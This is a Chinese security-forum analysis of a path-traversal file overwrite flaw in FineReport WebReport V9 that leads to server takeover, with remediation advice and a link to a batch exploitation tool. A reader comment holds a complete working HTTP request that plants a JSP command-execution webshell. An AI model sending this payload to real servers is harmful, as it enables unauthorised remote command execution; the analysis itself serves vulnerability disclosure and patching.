帆软(FineReport) V9任意文件覆盖漏洞
Infiltrator 漏洞分析 20986浏览 · 2021-05-25 09:40

漏洞简介

该漏洞是在近期HVV中被披露的,由于在初始化svg文件时,未对传入的参数做限制,导致可以对已存在的文件覆盖写入数据,从而通过将木马写入jsp文件中获取服务器权限。

影响范围

  • WebReport V9

漏洞分析

fr-chart-9.0.jar包中com.fr.chart.web/ChartSvgInitService类传递op参数的值svginit

漏洞主要出现在fr-chart-9.0.jar包中com.fr.chart.web/ChartSaveSvgAction类,通过cmd参数传递design_save_svg命令,利用filePath参数传递需要初始化的svg文件,将filePath参数传入的字符串中chartmapsvg及后边的所有字符串拼接到WebReport目录下“WEB-INF/assets/”之后,如果生成的字符串中包含.svg就会创建该文件,然后将var7的内容写入创建的文件。如果不包含.svg就会递归创建该目录,即传入的是jsp等非svg文件就会创建目录无法写入数据,但如果是存在的jsp文件,就可以覆盖文件内容。整个过程直接进行字符串拼接,未过滤“../”因此可以利用路径穿越漏洞在任意可写位置创建文件或覆盖jsp文件内容。

跟踪getInputStream方法可见,通过__CONTENT__参数传递文件内容即可:

漏洞利用

由于WebReport V9在安装之后在WebReport目录下存在update.jspupdate1.jsp,因此可以构造payload直接覆盖这两个文件的内容,从而GetShell。构造如下Payload覆盖update.jsp文件内容:

访问update.jsp,成功覆盖内容:

将文件内容替换为冰蝎木马,需要将双引号转义:

通过冰蝎成功连接服务器:

感谢评论区blackwolf提出的无损利用方法,让该漏洞成为任意文件上传,通过传递文件名为xxx.svg.jsp即可创建该文件并写入WebShell,如图:

访问该文件并执行命令,如图:

修复方法

严格过滤filePath参数的值,或使用路径和文件后缀白名单,删除默认update.jsp和update1.jsp页面,升级FineReport到最新版。

批量漏洞检测工具

https://github.com/NHPT/WebReportV9Exp/

3 条评论
某人
表情
可输入 255
159****1095
2022-05-13 15:07 0 回复

大佬能分享一下帆软的源代码吗?想本地复现一下


Infiltrator
2021-06-08 11:41 0 回复

@blackwolf 感谢老哥


blackwolf
2021-05-28 07:18 1 回复

无损EXP:

相关代码只需要由chartmapsvg开头,包含.svg时会先创建文件,然后再到后续逻辑,所以只需要xxx.svg.jsp这种格式,不需要覆盖原有文件即可无损利用成功


POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/shell.svg.jsp HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 2617
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Origin: http://127.0.0.1:8075
Referer: http://127.0.0.1:8075/WebReport/ReportServer?op=fs_main&cmd=entry_report&id=2619
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"__CONTENT__":"<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();int a = -1;byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}%>","__CHARSET__":"UTF-8"}